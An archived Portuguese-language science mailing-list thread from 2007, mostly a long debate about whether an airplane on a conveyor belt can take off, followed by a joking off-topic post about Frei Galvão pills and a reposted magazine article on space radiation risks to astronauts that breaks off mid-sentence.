> mover para tras, não vai esperar que a esteira ganhe velocidade, não

Como procurei demonstrar na primeira parte, a esteira puxa o avião
para trás - considerando-se atrito não-nulo.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:14

Olá Takata

Takata: "Como procurei demonstrar na primeira parte, a esteira puxa o
avião para trás - considerando-se atrito não-nulo."

Por favor, Takata, qual a força com que um atrito em rolamentos "puxa"
o avião para tras, com suas hélices puxando para frente????!!!

Digamos que, no lugar da esteira e seu movimento para tras, eu segure
a cauda do avião, e "puxe" contra seu empuxo. Você diria que o avião
ficará impedido de decolar, por causa disso?!?!

Mesmo não considerando o ideal imaginário, usado em todo experimento
mental, de atrito zero, acha mesmo que o atrito dos rolamentos pode
"puxar" o avião a ponto de impedir ou mesmo dificultar sua decolagem?!?!

"Puxar" o avião, pelo atrito que os rolamentos podem causam nas rodas,
é desprezível. Ou é desprezível, ou você tem de demonstrar que é
relevante o suficiente, não DEPOIS de mover o avião, em longo tempo e
com cuidado, para um movimento retrógrado, mas com o avião parado/se
movendo para frente.

E isso você não foi capaz de fazer. Por isso só concordamos que, de o
avião JÁ se move para tras, terá dificuldade. Mas se se move para
frente, e a esteira só acelera até sua velocidade, nenhum atrito dos
rolamentos pode "puxar" o avião a ponto de dificultar, ainda que
minimamente, sua decolagem.

Não acho que você cometeria esse erro ingenuo de ver as rodas do avião
como fonte de tração, e por isso pensar que o movimento da esteira,
para tras, por si só levaria o avião junto. Mas aparentemente é isso
que está defendendo.

Um abraço.

Homero





SUBJECT: "Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em es
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:18

Olá Takata

Takata: "Como não? O ar está parado em relação ao solo. O avião está
em MRU em relação ao solo."

Porque o solo não está em contato com o avião, mas o ar, como gas a
sua volta, está. E se move, reage, é "empurrado", movido, agitado,
etc, em relação ao avião. E aplica resistência, arrasto, atrito, etc.

Não pode comparar o ar ao solo, em relação ao avião, não de forma plena.

E já concordamos, se usar a esteira com cuidado, o pouco atrito dos
rolamentos pode, com bastante tempo, colocar o avião em movimento
retrógado e isso, o movimento, dificultará a decolagem.

Mas, só DEPOIS desse movimento se instalar. Com o avião parado, ou se
movendo, o atrito dos rolamentos é desprezível ( o tempo de uma
decolagem é curto) e nada que a esteira faça interferirá na decolagem
ou no movimento do avião.

Um abraço.

Homero




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:19

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Por favor, Takata, qual a força com que um atrito em rolamentos
> "puxa" o avião para tras, com suas hélices puxando para
> frente????!!!

Como procurei argumentar, a intensidade da força não importa. Desde q
não seja nula. Em algum tempo - e tto mais longo o tempo qto menor a
força - a velocidade do avião se igual à da esteira.

R = m.a
R = Fat
a = (Vf-Vi)/(tf-ti)
Vi = 0
ti = 0
tf = t
Vf = Vesteira = V
a = V/t
Fat = m.V/t

> Digamos que, no lugar da esteira e seu movimento para tras, eu
> segure a cauda do avião, e "puxe" contra seu empuxo. Você diria que
> o avião ficará impedido de decolar, por causa disso?!?!

Eu irei me ater à abordadem q estou propondo por ora.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:21

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> mental, de atrito zero, acha mesmo que o atrito dos rolamentos pode
> "puxar" o avião a ponto de impedir ou mesmo dificultar sua
> decolagem?!?!

Só adiantarei por ora, embora isso possa ser deduzido das mensagens já
trocadas, q o atrito não zero, na abordagem proposta, na verdade fica
como a força resultante única sobre o avião.

[]s,

Roberto Takata



SUBJECT: "Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em es
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:27

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Porque o solo não está em contato com o avião, mas o ar, como gas a
> sua volta, está.

Não altera a questão. A massa de ar está em repouso em relação ao solo.

Vc pode calcular a resistência do ar. Aqui tudo o q irá fazer é se
opor ao avanço da aeronave.

Mas o avião tem velocidade constante e é isso o q importa.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:36

Olá Takata

Takata: "Como procurei argumentar, a intensidade da força não importa.
Desde q não seja nula. Em algum tempo - e tto mais longo o tempo qto
menor a força - a velocidade do avião se igual à da esteira."

Esta desviando do enunciado, de novo, pois você não tem todo tempo do
mundo, tem o tempo de uma decolagem, com um avião, que gera força de
empuxo de forma brutal, capaz de, no curto tempo de decolagem, superar
o atrito dos rolamentos em muitas grandezas, de forma a tornar
desprezível, zero, o atrito.

Suas equações NÃO se aplicam ao caso do enunciado, que NÃO perguntou
de havia uma forma de usar uma esteira, com enorme tempo e pouco
atrito, para compensar um empuxo, mas sim se, um avião, colocado em
uma esteira, pelo tempo que dura sua decolagem, seria impedido de
faze-lo pelo movimento da esteira, movimento que é o mesmo, na mesma
velocidade, que a do avião.

Isso só ocorreria, a velocidade do avião se igual a da esteira, se o
avião se dispusse a "ficar" rodando na esteira idefinidamente, sem
decoalr, até que esta atingisse a velocidade necessária.

E nem mesmo isso aconteceria, pois o enunciado diz claramente que a
velocidade será IGUAL, e nunca superior, a do avião.

Takata: "Eu irei me ater à abordadem q estou propondo por ora."

Eu também. Meu puxão e o puxão causado pelo movimento da esteira
através dos rolamentos, é o mesmo, tem a mesma intensidade, e, se me
der tempo suficiente, posso tentar superar ou igualar o empuxo do
avião, ora bolas.

Na fórmula que propôs, o V, de velocidade, JAMAIS chegará no valor
necessário, pois NÃO pode passar da velocidade do avião. E mesmo que
durasse ANOS essa decolagem, mesmo que o avião ESPERASSE
indefinidamente antes de decolar, ele sempre andaria para frente, pois
a velocidade da esteira nunca seria suficiente para compensar o
empuxo, pois seria SEMPRE a do avião.

Se nos ativermos ao enunciado, não há como a esteira impedir a
decolagem, Takata.

Um abraço.

Homero





SUBJECT: Re: P/ Takata - O avião decola SEM PROBLEMAS..:-)
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:42

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Esta desviando do enunciado, de novo, pois você não tem todo tempo
> do mundo, tem o tempo de uma decolagem, com um avião, que gera força

Na verdade o enunciado não fala em tempo.

> Suas equações NÃO se aplicam ao caso do enunciado, que NÃO perguntou
> de havia uma forma de usar uma esteira, com enorme tempo e pouco
> atrito, para compensar um empuxo, mas sim se, um avião, colocado em
> uma esteira, pelo tempo que dura sua decolagem, seria impedido de
> faze-lo pelo movimento da esteira, movimento que é o mesmo, na mesma
> velocidade, que a do avião.

Calma q chegaremos lá. Quero apenas mostrar os passos intermediários.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:44

Olá Takata

Takata: "Só adiantarei por ora, embora isso possa ser deduzido das
mensagens já trocadas, q o atrito não zero, na abordagem proposta, na
verdade fica como a força resultante única sobre o avião."

Não, não fica. Respeito demais sua capacidade, Takata, e sua
inteligência indiscutível, mas esta enganado neste caso, muito
enganado. Apenas se desviar completamente do enuciado poderia
justificar essa posição.

As forças resultantes devem aparecer no período de tempo da decolagem.
Se assim não fosse, o experimento teria sido proposto de forma mais
abstrata, com vetores e não aviões e esteiras.

Para resultar apenas o atrito, a esteira terá de se comportar como
nenhuma esteira pode se comportar no mundo real, o avião terá de
esperar que ela atinja esse ponto antes de decolar, o tamanho da
esteira terá mesmo de ser infinito (ou próximo disso), etc. E será
outro experimento, outro enunciado.

Se colocar um avião em uma esteira, digamos um F-22 sobre uma esteira
em um porta aviões, e ligar suas turbinas, ao mesmo tempo em que rola
a esteira para tras, ele vai decolar normalmente, sem problemas
detectáveis. O atrito dos rolamentos, a única força que pode passar da
esteira para o avião, será desprezível para todos os efeitos, como foi
alegado.

É isso que responde ao enunciado, não uma hipotética experiência menta
ltotalmente diferente do proposto.

Um abraço.

Homero





SUBJECT: "Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em es
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:50

Olá Takata

Takata: "Mas o avião tem velocidade constante e é isso o q importa."

Nisso concordamos totalmente. E é isso, e não a esteira, que torna
difícil a decolagem nessas condições. Mas, no enunciado, o avião NÃO
atinge NENHUMA velocidade retrógrada.

Ele começa a avançar, e a esteira começa a rolar ao contrário. Mas
esse rolamento NÃO afeta o avião, pois a única forma de a esteira
afetar o avião, o atrito dos rolamentos das rodas, é desprezível
frente ao empuxo do sistema propulsor, em especial neste momento em
particular (pouca velocidade da esteira, e enorme empuxo do propulsor).

SE o avião se recusar a decolar, apesar de ter atingido a velocidade
necessária, SE ele se recusar a decolar ao atingir a velocidade máxima
que seu propulsor pode chegar, SE ficar esperando que, lentamente, a
esteira ganhe velocidade a ponto de compensar o pouco atrito nos
rolamentos e SE violar a premisssa que determina que a esteira APENAS
acelera até a velocidade do próprio avião, ENTÃO pode ser que aconteça
o que defende, mas também será outra coisa totalmente distinta do
enunciado.

Um abraço.

Homero





SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:54

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Takata: "Só adiantarei por ora, embora isso possa ser deduzido das
> mensagens já trocadas, q o atrito não zero, na abordagem proposta,
> na verdade fica como a força resultante única sobre o avião."
>
> Não, não fica. Respeito demais sua capacidade, Takata, e sua
> inteligência indiscutível, mas esta enganado neste caso, muito
> enganado. Apenas se desviar completamente do enuciado poderia
> justificar essa posição.

Estou indo passo a passo. Antes quero q vejam q em estando a aeronave
em MRU sobre a esteira, se acionarmos esta para rolar para trás,
aquela seguirá para trás após um tempo.

(Sobre o atrito não nulo, lembro o esforço q as equipes de pessoas
fazem para poder puxar um caça a jato estacionado no solo. Se o atrito
fosse muito baixo, seria muito, muito fácil deslocá-lo.)

[]s,

Roberto Takata



SUBJECT: Re: P/ Takata - O avião decola SEM PROBLEMAS..:-)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 23:57

Olá Takata

Takata: "Na verdade o enunciado não fala em tempo."

Claro que fala! Ele também não fala que o avião tem um piloto, que tem
asas, que tem combustível, etc, mas presumimos tudo isso, a partir do
enunciado. E este quer saber se o avião consegue decolar, e isso é
feito, obviamente, em um tempo hábil.

Estamos comparando o tempo de decolagem normal com o tempo nessas
condições. Se desejar, pode tentar defender que o avião leva muito
tempo, DEVIDO a esteira, e por isso suas condições surgem.

Mas sabemos que isso NÃO acontece. e não estamos tentando,
intencionalmente, conseguir que a esteira impeça a decolagem, pelo
contrário, estamos tentando descobrir se isso acontece naturalmente, a
partir das premissas.

Uma solução que envolva, digamos, dois anos de aceleração, com o avião
rodando na esteira e esperando que as condições ideais aconteçam, não
é mais o mesmo experimento e enunciado.

Takata: "Calma q chegaremos lá. Quero apenas mostrar os passos
intermediários."

Mas tem de demorar tanto para isso? Será que é tão difícil,
complicado, que nós não entenderíamos em uma explicação completa e
simples?

Um abraço.

Homero




SUBJECT: "Re: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em es
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 00:03

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Takata: "Mas o avião tem velocidade constante e é isso o q importa."
>
> Nisso concordamos totalmente. E é isso, e não a esteira, que torna
> difícil a decolagem nessas condições. Mas, no enunciado, o avião NÃO
> atinge NENHUMA velocidade retrógrada.

Vc está se confundindo. Deve ser culpa minha. Qdo eu disse "mas o
avião tem velocidade constante" não estou, ainda, referindo-me o
problema original e sim às condições a q me referi - um avião sem asa
com a esteira desligada inicialmente.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 00:07

Olá Takata

Takata: "Estou indo passo a passo. Antes quero q vejam q em estando a
aeronave em MRU sobre a esteira, se acionarmos esta para rolar para
trás, aquela seguirá para trás após um tempo."

Não, Takata, isso apenas gera um novo experimento, diferente do
anterior. Já concordamos, diversas vezes, que se o avião estiver se
movendo para tras, isso dificulta a decolagem, mas devido ao
movimento, não a esteira ou ao que o tenha movido.

Takata: " (Sobre o atrito não nulo, lembro o esforço q as equipes de
pessoas fazem para poder puxar um caça a jato estacionado no solo. Se
o atrito fosse muito baixo, seria muito, muito fácil deslocá-lo.)"

O atrito é baixo em relação ao empuxo, não a pessoas a puxar um objeto
com enorme inércia. Se vencer a inércia, fica bem mais fácil puxar o
avião. Se a esteira se mover muito rápido, a chance é de que o avião
fique para tras, ao invés de ir com ela.

E também por isso que temos certeza de que o enunciado completo
incluiria o atrito zero, que como já concordamos, impede que qualquer
coisa que a esteira faça afete o avião.

Acho, Takata, que está apenas exercendo o prazer de ser o advogado do
diabo, defendendo o indefensável, como forma de apurar a arte de
argumentar..:-)

A graça, sentido e função do enunciado, que usa uma esteira, não é
descobrir fatos e medidas sobre o atrito de rolamentos. É fazer pensar
sobre forças que atuam no movimento, e que podem ser enganosas devido
a forma como nos acostumamos com fenômenos diários (rodas são para
mover veículos, esteiras levam as coisas, etc).

Tenho certeza de que se perguntássemos ao criador do enunciado, este,
tendo em vista toda essa discussão sobre atrito, rapidamente
explicaria que o atrito dos rolamentos deve ser desconsiderado para
efeitos do experimento.

É um avião ideal (que não teria dificuldade em ser puxado por cordas,
a não ser pela inércia, pois não tem atrito nos rolamentos),
rolamentos ideais (idem) e esteira ideal. Nessas circunstâncias, o
avião decola normalmente, sem problemas, não importa o que a esteira faça.

É isso..:-)

Um abraço.

Homero




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 00:14

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Não, Takata, isso apenas gera um novo experimento, diferente do
> anterior. Já concordamos, diversas vezes, que se o avião estiver se
> movendo para tras, isso dificulta a decolagem, mas devido ao
> movimento, não a esteira ou ao que o tenha movido.

Ele NÃO está se movendo para trás. A esteira está parada.

[]s,

Roberto Takata



SUBJECT: OFF-TOPPIC
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/02/2007 00:15

Deus:

Vendo e mando pelo sedex comprimidos do Frei Galvão, todos certificados. Posso vender aqui na lista?
Dou comissão para o leite das crianças.
silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 26, 2007 10:50 AM
Subject: [ciencialist] Útero bicorno


Estou lendo sobre os supostos milagres atribuidos a Frei Galvão. Em um
deles, uma mulher portadora de útero bicorno, já tendo abortado três vezes,
recorreu a orações e às "pílulas de frei Galvão", conseguindo chegar ao fim
da gestação. Qual a chance de uma mulher com útero bicorno conseguir chegar
ao fim da gestação? A literatura médica registra muitos desses casos? Seria
interessante conhecer o caso de uma mulher ateísta ou agnóstica que tenha
produzido prole saudável, mesmo tendo útero bicorno.

[ ]s

Alvaro Augusto






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 268.18.4/702 - Release Date: 25/2/2007 15:16


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 00:30

Olá Takata

Takata: "Ele NÃO está se movendo para trás. A esteira está parada."

Com a esteira parada, um avião sem asas vai se mover, assim que ligar
o motor e as hélices, isso é evidente. E sem asas, ele vai acelerar
até atingir uma velocidade limite, que combine as forças que seu
sistema propulsor é capaz de produzir, e as forças contrárias, como
atrito do ar e dos pneus.

E não posso nem usar uma variação, por exemplo, no vácuo do espaço, ou
sem atrito por falta de peso, pois modificaria totalmente o enunciado.

Mas, sem as asas, também ficamos sem o fator MAIS importante no
enunciado, a decolagem. Esta se dará assim que o avião atingir a
velocidade necessária, bem antes da potência máxima do propulsor. E a
potência extra daria, com enorme sobra, para copensar o atrito, em
qualquer velocidade da esteira (que, não custa lembrar, será sempre a
do avião, o que faz os rolamentos girarem apenas no dobro dessa
velocidade.

Ou seja, jamais conseguira seu propósito, equilibrar a potência do
motor com a velocidade da esteira, de forma a ter apenas a resultante
do atrito, com um avião com asas. E um avião SEM asas não está em
questão, neste problema.

Um abraço.

Homero

PS: O que vai conseguir provar, me parece, é que modificando as
premissas e, na verdade, todo enunciado, conseguiria criar uma forma
de dificultar uma decolagem. Mas isso não precisa de provas, pois é
evidente que, permitidas mudanças, qualquer coisa é possível em
enunciados hipotéticos.





SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 00:39

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Com a esteira parada, um avião sem asas vai se mover, assim que
> ligar o motor e as hélices, isso é evidente. E sem asas, ele vai
> acelerar até atingir uma velocidade limite, que combine as forças
> que seu sistema propulsor é capaz de produzir, e as forças
> contrárias, como atrito do ar e dos pneus.

Isso. E isso significa q o avião estará em MRU.

> Mas, sem as asas, também ficamos sem o fator MAIS importante no
> enunciado, a decolagem.

Colocaremos as asas mais tarde. Na verdade, podemos pensar no
Mitsubish A6M2 Type 0 M21, de asas dobráveis.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] OFF-TOPPIC
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 06:01

At 00:15 27/2/2007, you wrote:

>Deus:
>
>Vendo e mando pelo sedex comprimidos do Frei
>Galvão, todos certificados. Posso vender aqui na lista?
>Dou comissão para o leite das crianças.
>silvio.




E´ tão científico quanto o ENGOV ou o VIAGRA.












=



SUBJECT: REPLAY - Os perigos que espreitam no espaço por Jacqueline Garget
FROM: Erich Weick <erich_weick@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/02/2007 08:34

Ok pessoal, desculpem o meu "amadorismo internáutico" no post anterior...

[]´s
Erich

============================================================

MATÉRIA

Edição Nº 11 - março de 2007

Os perigos que espreitam no espaço
O Sol dispara raios X e partículas de alta energia durante os flares,
o que força os astronautas que estão além do campo de proteção da
Terra a procurar abrigo. A radiação penetra a pele com facilidade e
pode danificar seriamente o DNA.

Por Jacqueline Garget

O Sol lançou violentamente no espaço mais de 1 bilhão de
toneladas de partículas durante esta ejeção de massa coronal em 8 de
janeiro de 2002


A quantidade de radiação que o corpo humano pode tolerar é um fator
crucial se a Nasa decidir enviar astronautas novamente à Lua, a Marte
e além desse planeta. A agência espacial deve encontrar uma forma de
proteger os astronautas. A radiação prejudica as espaçonaves e,
naturalmente, as pessoas, causando desde o descontrole do aparelho
digestivo até a falência do sistema nervoso central. Os efeitos da
exposição à radiação são sérios problemas que as missões espaciais
tripuladas devem resolver.

A Terra nos protege da maior parte da radiação que preenche o
Universo. O campo magnético terrestre expulsa ou aprisiona partículas
nocivas de alta energia emitidas pelo Sol. As partículas aprisionadas
espiralam indefinidamente entre os pólos norte e sul magnéticos,
formando os cinturões de radiação de Van Allen. A atmosfera da Terra
espalha e absorve os raios cósmicos - protegendo ainda mais a vida.

Felizmente, os cinturões de radiação da Terra se estendem no espaço o
suficiente para que a Estação Espacial Internacional (ISS, na sigla
em inglês) orbite no interior da magnetosfera. De fato, a Terra
possui um campo de força natural capaz de proteger os astronautas da
ISS da maior parte da radiação que chega do espaço. Na verdade, com
exceção das missões com duração de uma semana para a Lua, todos os
vôos espaciais tripulados, até agora, ocorreram dentro da proteção
provida pela magnetosfera terrestre.

A radiação espacial é formada por átomos isolados. À medida que esses
átomos são acelerados até quase a velocidade da luz, seus elétrons
são arrancados (ficam ionizados) e somente os núcleos atômicos
permanecem. Esses núcleos contêm tanta energia que conseguem arrancar
elétrons de qualquer coisa com que se choquem. Se eles atingirem uma
nave espacial, ou pior, um corpo humano, causarão um dano
considerável.

Nem a Lua nem Marte possuem campo magnético que os proteja, mas a
massa sólida de cada mundo provê certa blindagem. A radiação que
atinge astronautas na Lua ou em Marte vem somente de cima, mas, no
espaço, ela vem de todos os lados.

A Lua não possui atmosfera e Marte dispõe de uma atmosfera muito
tênue, de cerca de 1% da atmosfera da Terra, mas ainda assim consegue
bloquear boa parte das partículas solares que se precipitam na sua
superfície. Infelizmente, essa atmosfera tão rarefeita não é
suficiente para impedir que os raios cósmicos - partículas de alta
energia do espaço - cheguem até a superfície do planeta. Por isso, a
proteção da radiação para os humanos que viajam fora da magnetosfera
terrestre é um assunto desafiador - e um problema e tanto.

No espaço existem duas fontes principais de radiação. A primeira, e
mais óbvia, é o Sol. Na dinâmica solar, há períodos em que o astro se
mostra relativamente "calmo" e outros em que se comporta como um
monstro furioso, alternando esses dois comportamentos em ciclos de
aproximadamente 11 anos. No máximo do ciclo, surgem manchas solares
por toda a superfície solar. Flares e emissão de massa coronal (CME,
na sigla em inglês) ocorrem com freqüência, lançando no espaço nuvens
de bilhões de toneladas de material altamente energético.

Um flare ocorre quando a energia magnética contida no Sol se acumula -
formando um pico próximo da superfície -, explode e desencadeia a
liberação repentina de partículas de alta energia pelo espaço afora.
As CMEs ocorrem quando as linhas do campo magnético se rompem. Uma
grande CME pode lançar bilhões de toneladas de partículas carregadas
e de gás quente para o espaço a centenas de milhares de quilômetros
por hora.

Durante os dois tipos de eventos, as partículas mais energéticas
atingem a Terra em poucos minutos. Em períodos em que a atividade
solar está no máximo, vários flares e CMEs entram em erupção
diariamente. Mas mesmo períodos de baixa atividade não garantem
segurança total para os astronautas. A atividade solar, embora baixa
em alguns momentos, nunca cessa.

Alguns dos flares mais violentos ocorrem em anos após o máximo solar.
As erupções são tão imprevisíveis e acontecem tão rapidamente que os
astronautas teriam muito pouco tempo para se proteger. Os flares são
mais comuns que as CMEs e podem causar danos mais graves por
radiação. É imprescindível dispor de um serviço de previsão da
atividade solar quando se planeja passar períodos mais longos no
espaço.

A segunda, e mais previsível, fonte de radiação do espaço são os
raios cósmicos galácticos. Supostamente produzidos durante explosões
de supernovas, essas partículas bombardeiam o Sistema Solar vindas de
todas as direções. A taxa do fluxo dessas partículas é baixa, mas
elas viajam a altíssimas velocidades. Os raios cósmicos são
constituídos de prótons, núcleos de elementos pesados de alta
energia. Os núcleos que podem afetar significativamente as funções
biológicas vão desde o hidrogênio até o ferro. Núcleos pesados - como
o ferro - são os mais perigosos.

"Os raios cósmicos galácticos são formados por partículas altamente
ionizadas e podem prejudicar seriamente os tecidos", afirma Cary
Zeitlin, especialista em radiação do Lawrence Berkeley National
Laboratory, em Berkeley, Califórnia. "No entanto, o fluxo dessas
partículas é muito baixo." Mesmo um evento de partículas solares
intenso produz muito poucas partículas tão perigosas. Uma partícula
isolada, gerada por um evento solar típico, produz danos muito
menores que um íon pesado gerado por raios cósmicos. Mas, além dessas
partículas, o Sol produz outras.

Os raios cósmicos penetram com facilidade as naves espaciais e a pele
dos astronautas. Esta é a fonte de radiação dominante, da qual os
astronautas da ISS precisam se proteger. Os raios cósmicos também
serão um grande desafio para os astronautas a caminho de Marte. Ao
mesmo tempo em que os riscos devidos ao Sol diminuem durante o mínimo
de atividade, o perigo devido aos raios cósmicos aumenta. À medida
que a atividade solar diminui, o campo magnético vai se enfraquecendo
e não consegue mais defletir os raios cósmicos com a mesma
eficiência. Então, a intensidade dos raios cósmicos aumenta.

Negócio arriscado
A profissão de astronauta é considerada de alto risco, comparável aos
profissionais que se expõem a altos níveis de radiação no seu
trabalho diário (operadores de aparelhos de raios X). A Nasa vem
monitorando o nível de radiação a que são submetidos os astronautas
em todos os seus vôos tripulados desde que o Projeto Mercury começou,
em 1961. Os membros da tripulação a bordo de naves fortemente
blindadas como a ISS usam dosímetros para monitorar os níveis de
radiação. A radiação medida pode alertar os tripulantes sobre
perturbações solares. Durante um flare solar extremamente intenso, um
astronauta da ISS que não se proteger pode receber, em algumas horas,
uma dose de radiação muito superior à máxima anual permitida.

O Mars Radiation Environment Experiment (Marie - Experimento para
Medir a Radiação Ambiental de Marte) da Nasa, a bordo da Mars
Odyssey, coletou dados sobre a radiação do ambiente espacial e em
órbitas próximas de Marte antes de parar de funcionar. O equipamento
ficou mudo ao registrar a tempestade solar de outubro de 2003, vítima
da intensa radiação. Resultados preliminares sugerem que os
astronautas que viajem a Marte numa missão de três anos podem se
expor a doses de radiação próximas dos limites de segurança
estabelecidos para a vida toda. "Pessoalmente, acredito que o
problema da radiação tenha solução", assegura Paul Delaune, da equipe
Marie. "O problema da dose total acumulada tem duas variáveis: taxa
de radiação e tempo de exposição. Nosso objetivo é reduzir uma delas,
ou ambas, de modo a baixar os níveis de exposição acumulada a doses
aceitáveis."

Sistemas de propulsão avançados poderiam encurtar o tempo de viagem
para Marte e, assim, diminuir o tempo de exposição. Blindagens
especiais também reduziriam as doses de radiação durante os períodos
em que os astronautas estivessem expostos ao ambiente espacial. Os
materiais utilizados devem bloquear as partículas energéticas e
também evitar que a radiação secundária seja criada pela interação da
radiação primária com a matéria.

"O caso dos prótons solares é um problema simples de engenharia",
afirma Frank Cucinotta, do Space Radiation Health Project (Projeto de
Saúde da Radiação Espacial) que a Nasa desenvolve no Johnson Space
Center. "A energia dos prótons é tal que uma blindagem já é
suficiente. Alguns centímetros de qualquer material já conseguem
reduzir a dose de prótons solares a um nível mais baixo."

Mas no caso dos raios cósmicos de alta energia a blindagem tem efeito
limitado. "Até agora, não há dados suficientes em humanos para que os
cientistas possam prever os riscos reais causados pelos raios
cósmicos galácticos em missões espaciais de longa duração", diz
Cucinotta.

Os locais onde os astronautas passam a maior parte do tempo na ISS,
como as áreas de descanso, têm uma blindagem adicional. Os
astronautas podem deslocar-se dentro dessas áreas mesmo que uma nuvem
de partículas carregadas esteja a caminho. Os cientistas descobriram
que os materiais de massa atômica baixa, particularmente o hidrogênio
funcionam melhor como blindagem contra a radiação. Estruturas de
compostos de carbono com alto conteúdo de hidrogênio bloqueiam
eficientemente a radiação. Os projetos mais avançados para as futuras
espaçonaves procuram proteger os astronautas envolvendo o espaço onde
eles circulam com o reservatório de água da nave (a água - H2O -
contém grandes quantidades de hidrogênio) ou com os próprios tanques
de combustível de hidrogênio líquido.

Os plásticos também absorvem a radiação porque são bastante
hidrogenados. A Nasa desenvolveu um polietileno reforçado que é dez
vezes mais forte que o alumínio, e muito mais leve. Esse material já
está sendo usado na blindagem de algumas partes da ISS.

Várias idéias para uma proteção eficiente - usando plasma ou um campo
magnético intenso - estão sendo consideradas na construção das
futuras naves espaciais e para a criação de bases em outros planetas.
Um desses projetos utiliza campos elétricos para desviar as
partículas carregadas.

Os estilistas do espaço terão de modificar os trajes espaciais dos
astronautas - os abrigos terão de resistir a esse ambiente hostil e
ser ainda mais leves e mais flexíveis que os trajes da Apollo. Os
projetistas poderão instalar também pequenos sensores para alertar os
astronautas sobre altos níveis de radiação e a proximidade de
materiais tóxicos.

A maior preocupação com a saúde dos astronautas é a possibilidade de
desenvolverem câncer. A Nasa monitora o nível da radiação espacial
tendo em vista o risco da doença. Há outros efeitos que uma longa
exposição pode causar como catarata, doença da radiação (também
conhecida como envenenamento por radiação), danos ao sistema nervoso
central e imunológico e até doenças cardíacas.

Algumas pessoas são mais susceptíveis à radiação que outras. Para as
pessoas idosas os riscos são menores, porque o câncer tem menos tempo
para se desenvolver. Em geral, a doença mata mais homens que mulheres.

A radiação afeta as células humanas em escala molecular. O DNA,
tijolo básico da vida, está presente em cada célula do nosso corpo.
Como a radiação ionizante penetra o tecido vivo, pode romper as
cadeias do DNA.

É possível administrar as baixas doses de radiação durante períodos
prolongados, pois o corpo tem tempo de reparar o mal causado. Mas no
caso de doses altas, por exemplo, de um intenso flare solar - o
efeito pode ser mais grave. As células podem sofrer danos
irreparáveis e produzir células cancerosas. Este efeito é difícil de
medir. Pode levar décadas entre a exposição à radiação e o
aparecimento de um tumor. No caso extremo, o dano celular interrompe
o funcionamento dos tecidos do corpo e aí pode ocorrer a doença da
radiação ou mesmo a morte.

Os cientistas estão desenvolvendo suplementos alimentares e drogas
